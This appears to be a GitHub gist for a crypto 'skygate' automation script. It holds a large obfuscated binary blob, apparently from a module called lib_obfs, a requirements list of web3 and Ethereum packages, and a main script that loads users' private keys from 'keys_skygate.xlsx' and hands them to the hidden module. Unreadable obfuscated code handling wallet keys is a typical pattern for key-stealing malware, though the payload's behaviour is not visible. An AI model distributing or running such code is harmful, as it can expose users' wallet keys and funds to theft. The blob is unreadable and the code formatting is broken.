}-\x10N\x1f`\xa6\xe8\xaf\x8f\x99\x10\xa5\x85\x98\xda\x92u(\xe8\x063\x86rR4c\x81"\x9b\xcb\xd8\x9b\xfcs,*l\xc9Bn\x95?\xa4*\xb7d\xe1\x9a\xcb\xaa\xb5\x18\xc0\xc5%\xf2\xff\x89u\xde\xa6J1uw\xc6v:k;\x8d\xcek\xd3\xee\xc9O5\x0f\xf2\'C\xef\r\xbd;\xb2=\xa2\xcd98c\r\x8dy\x13T \xb5\xf6\t\xfa\xbeMO\xa8\xea\x82\nB\xde\xefa\x154\xe8|v\xac\x8e\xbd_\xc7\x8d9L\xf7\xebi\xa0S\x9eF\xb9\x13\x1f\xe4\x18\x92\xe3\xbaBpS\x85\xfdf\x9a\x8c\x93E\x1f\x0c\x0cha\x835$?\xd0\xe5\x1ey@\xe5\x08\xa0\xfb\xe3\xa2\xcc\x13sN\xa4Y[\x97\xc2\x00x\xc9\x9e\xdc\xd6"\xf1\xe3t]\xa3\xcb\xf7\xe4:\r\x96\x1d\xf0y!\xd9\xf5\x93\xa4\x92\xf48\r\x9e\x1d\x05\xcf=\xbbZRIzZ\x0c\xb8 ]B\x07N\xe0\xc6]\x9d\\\xa2M\xd8\x9aN\xea9<\xd3\x89\x956\xf4\x80\x9fS$\xc6.C\x07\x0e\t\x92{ZRI\x9e\xa7Y\xc3\x89\xd4Y\xdc3|b\'A\x92Jb\xb1\x18.\xec4\xe4)H*I+k\xe8L]\xc3j\x9d;\xd7IRI,\xf5\x86SyJ\'g9CS\x8a\xc3\xb16\x1dH\xb4\xf9\xc6Y.\xdb\xa1\\\x04\x01\x9f\x0fQ5v(\xb3"+q"\'\x19\xc2\xbch ;\x931\x9f\xd3w*\x9bD\x13\x08\x0e\xaf\x9a\'VBR\xf4\x92\xa0H\xaaE\xc2\xd3 A\xb4\x06eN\x92\x12\xaaQ[\xc4\x90\x9f\xc5\xceK\xe5Y_\x9bx\x9d:d\x07?\x9dd>\xaa\x84\xbb\\m?,\xc9\x91Mu\xe5u\rI\x03Y\xc7@O\x9a\x0c\x88\xec\xee\xc4\xefM\xc0\x9bXZ\x88)\x1eVe\x16E\xd5\x82f,H\x86/c\xe8\xd6c\xd4\xa4\xfd\xaf\x90\xfc5\x92{\x1ao\x0b\tAe\xc4\xb0b\xa4\x8a\xfb\xd0\xb4x\xbc\t7\xa9\x8a\xe3\x93\xab.}:\xfa\nY\xff\x079\xbb_S\x04`~\xd6R\xd3\xf7&\xd2\x8e\x0b\x19\xc7\x85\xac\xe3\xc2:\xf7\xd0\xe6\xd8\xf8^\xaag\xd7\x98\xb6\xf5gl\xfdY[\xff:\x93s\xb8\xd6\xcd\x1aN\xad\x19\xe8\xf8\x80\xcc\xd9,b\xac\x03\xe6\xad\\/\x16\x02\xde%s\x98\xe4H@\xc3p`@\xa3\n\xd7\x1c\x1c\xd08\x08\xb3$\x19\xfdK\x02\xf9op\x924V\x99D\xf6\xa8\xdb\x7f\x1b\nn\xca]\x94bb\xe9\xa4\xab&RA\tk\xf0\xc0\xa8]\xa9\xac2\x97\xa81\xf7Zi\xd9\xdckY0\nJ\xd9!s\x9f\xabo\\7i\x93\xfd\x94\xf6\xd9\x01\xc8\x86\xb9g\xd7\x95kj\xde\xfa\xfe\xfa$\xd8l\x0c}\xf5\x10\xb2\xc9>r\xb6\xbcc\xbfkO)z\xc4\x0f\x8e\xbc\x01+\x18\xe06r/!\x8f\x91<\xa1\xca\xf2j\x11\xa2\x98k\x94Y(g\xcb\xba\x9dh\xe5w\xba\xc6\x8c\xec}#7f1\xdd\xb7\xd1@\xa7<|\xa5Vv\x13>\x8cF\x94\x04aT\xf9c$\x9fP\xd5\x9a\xf5/\x8b\xe4\x7f#\xff\x85\xa92\xcd\xca\xb1\x86zTc\x90\xec\x86H\xf2q\x80$\x9f\xbc@\x92Jb1\x19Z\xb0>$\xbb=$9\x90hC\xc0\x8e\xcb\x94M\x91_>\xef\xa5*\x95M\x98\x11\x19P(\x1c(\x1c\x03\x9csD\xd9\x18\xc8g\x10F\\9V\x8dWA\x90&VT&\x1c.\x93\x07\xa6(\x0f]\xa4\xcdd\xd9w\t\xb3T\xd9\xf7\x08\xfaW-\x0c\xf0\x0bj\xa8\x95\x15\xd5\x94 \xdf\xaf\x15\xbfc\x91\x7f\x893U\xf2!\x8b\xb6\xd1\xda\xa1\xf5\xae\xef\xb4\xaeC\x9ej\xd4x\xaa\xa5\r\xb71\x17\x92\xfd\xdd\xccu\x0b\xc2J\x10\x03\xf3\x92\xac\xd4\x8eG\r\xd0\x95Kk\xda\x06\xe4Y\xf0\xb5~J\xaf\xc1\\\xac\x19\xcc\x18\xc5\xa9\xe9s&\x99$\x9b\xe4\xca?\xce[3&\x8dG\xf1>A\xee/|\x8f\xc1\r\xc3k|\xd2\xa0{P\xfd\x07,\xc0U\xe9\x81\xe4A\xdb\xa1\xf9\xeaxR\xd2 r\xab6\xd4\xc3\x1bOka\xcfD\x89\xef\xd7C\xc9\r\xe0/\x95\xf8`\xd5\xde\xd4k\xe4\xcd-S\x9af\xf1\x18\xa7T\xee\n~&\xc8\xaat\x84\x04\xa3\x08\x16#.\xcdgx\xdbj\xf3\x9c\x80?7\xbeb7\xae\x8f\x84\xe3K1\xb1\x0f\x04\xe9\xd7TA\\T\x1ec\xa7r|Y)\xd9\xfd\xd2&\x86\x83\x90\x05\xac!+\xe0\x98\xc8BL\x11H\xb0IQ]\xa8\xb1\xa6\xe2\x89Ili\x02n\x94\x89s\xe31k\\\x83\xc1S\xd5\xa1\x7f\x06\xa0Y\x91\xa2\x82\x8b\n3`R\xd0x\x90u\x11\x95\r\x8aa\xf9_\xc8\x19\x0e\x00cq\xc5\xed\xcc\x05m\xe6\x92\x97bZ\x1bE\x0eZm-p`U\x89\x03Y\x11[\x03Vl?\xbe\xdd\xbb\xee\xc85w\xae\xd7\xe5\\\xa7\xd3\xe4X7\xe6\xac\xb6u:\xcf\xf0\xe6\xde\\}\xf3;\xbdw{S?\xb8W\xf7\xf1\xab\x99\xfa\xf1l\xfd\xf8\xfa\xe5\\\xfb1\xdc\xda\xffn\xdfv\x1fh#[\x07!w\x8c\x9b\xf4\xa6\x1fp\xe8\xe6\x9bw/\x82\xfc\xbb:\x1e6\xb6n\xbd\x98z\xe3\xceK[/m\xbe\x94kl}\xd08\xb0\xd78p\xcf\xff\xb11\xd3x1\xdbx1\xddx1\xd7\xd8\x94r\xdd\x99\xdc\x1c\xfb"o.6\xf4\xc5o@\xb9\x9d\x04\xe0d\xee\xdd\'\x0f\xad\xaet\xfdS\x19\xeb\xb9\xac\xf5\\\xba\xe4\xc8\xb3P\x08JR\xc1\r$w\xc6N\x8f\x8dR\xf7G\xdb.5\xb3\xff\xd0D\x03\xad\xfdA\xd2\xdfR\x05\xc1gJw\xfa\x95\xec\x19cI\x19S\xb3\xac\x0cH\x10\x81\xaa\x02\x0fG\t\xf9\xd0e\x9f\x0c\x1d\xd5\x9c\x166Xh\x9cK<r\x8e|C\x06\xc0\t\xbf\x00\x95\xff\tY\xe6\xef\xa8}(\xa2\x05\xf5\xe7TS$\x96\x90f%\x197\xf1F\xb4\xef$\n\xdcPa\x17\xe5\xff\x0ed\xd5]\xe0\x9d\x03\xd9\xfb8\xf2\xd0u\x8d\x87\xea\x1b6\xc76\x85\xad\xf1\xad3\xeb\xa6G\xa5\x17\x0f]\x1d\xa9\xe7v\xbe\x93q\x9d\xcf\xba\xce\x03W\xf1\xf6\xb7\xad?\xb2\xbee\xdf\xb0\xaf\xdbKV\xeeR\x93\xb5v\x1a\x1c`\xc54\xb7\x82x\x19\xd9\xe2p+\x8d\xd8?\x16\x89\x05G\xf9\x1aU\xee\x1e0\x86v\xfcd\x0f\x92J\xc2\xdb\x0c\xbd\xbb\x00\xa3!\xa9$\xc7\x8d\x88\xe5\xab\x89\xd6+\xf6\xe5iS\xcd\x9ae\x88\xc4f\xc9\xd7\xa0Z\xc8\xc3\x14W\xfaP\xc2\xb5(\tQ\x1d\x18CQ\x1b%\x90\xfa\xc2\'\x11}\x85\xef\x1d\x14\x19y\x94|\x08\xa1-\xb8j\xbe\xd1\xb24\xe3\'\xdfXhA\x11\x14\x7f\xd5\xb8(\xc4DA!\x10I\xb3\xe9\x970\xdb\x8a[\xa1\x83\x8a\x16\xf1\xd6\xbe]$\xce\xd2_\xea\xf3R>W_\xf2\xcfh\xdfE>+\xff\x1b\xe10\x98\xb0\xb7\x80\x82\\\xd1t\x9e\xa7\xe8ci\xaa\xb3\xf4\xc8Qu\xb7\xc9/G\xd9o\x93\x9f\x9e\xf3\x88r\xdc&\xbf\x1c\xf5\x8dt\xad#GAkeG\xdeH\xd1\xcdi\xaa\xa9\xf4\xc8Q\x90Sv\xe4\xa8\x8et\xf9\xf1\x88jH\x17\x8f\\\xf9\x00\xc9\x18\x0b\x03yd?u\xbb.\xcf\xd9\x9c\xdcmk\xde\xcd\xd3\xa0`\xaa\xc9f\xf3cL\x9e\xec\xe76_fi\xf0\x81j\xd3\xc7\x84>)\xcd\xff\x96\xd1N\x03\x8c\xa9&\x8f\x91<\xd9\xcf\xebj\xa7\x81m\xaa\xc9\xfak\x8f1yR\xa3\xa8 \x0b\xacjZ\x10deN\x88j\x1f\x1as\xd2\x8a\x14\xfa\x90"\xdf\xfc\x16?$\x1e(y\x99\xe6\xe2\xcb\xc4]\xed\xe4e\xe6\xa8\xb6t\xf9\x91\xa3\xb8\xdb\xdc\xedo\xdf\xfev\x9e\xa2\xac\xe2s\xd6\xc7\xe0+H\xcfY\x9fh\t\\\xd1ar\x85I\xbeVBx\xf2\xf70\xb6\xd7\xaf\x93\xb1\x05\xaf\x93\xb1\x05\xc9\x15\xfd\x87\xe4\n\x93|\xad\x84\x8c\xed\xff\x02\xc8X\x04a')))
aiohttp==3.9.1
aiosignal==1.3.1
attrs==23.1.0
bitarray==2.8.3
certifi==2023.11.17
charset-normalizer==3.3.2
cytoolz==0.12.2
eth-abi==4.2.1
eth-account==0.10.0
eth-hash==0.5.2
eth-keyfile==0.6.1
eth-keys==0.4.0
eth-rlp==0.3.0
eth-typing==3.5.2
eth-utils==2.3.1
frozenlist==1.4.0
hexbytes==0.3.1
idna==3.6
jsonschema==4.20.0
jsonschema-specifications==2023.11.1
lru-dict==1.2.0
multidict==6.0.4
numpy==1.26.2
pandas==2.1.3
parsimonious==0.9.0
protobuf==4.25.1
pycryptodome==3.19.0
python-dateutil==2.8.2
pytz==2023.3.post1
pyunormalize==15.1.0
referencing==0.31.1
regex==2023.10.3
requests==2.31.0
rlp==3.0.0
rpds-py==0.13.2
six==1.16.0
toolz==0.12.0
typing_extensions==4.8.0
tzdata==2023.3
urllib3==2.1.0
web3==6.11.4
websockets==12.0
yarl==1.9.3
# !/usr/bin/env python
# coding: utf-8
from lib_obfs import ReadEx
if __name__ == '__main__':
#setup your own excel file in here
runner = ReadEx("keys_skygate.xlsx")
#setup your own worker number in total
runner.run_excel_workers(10)
# See PyCharm help at https://www.jetbrains.com/help/pycharm/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment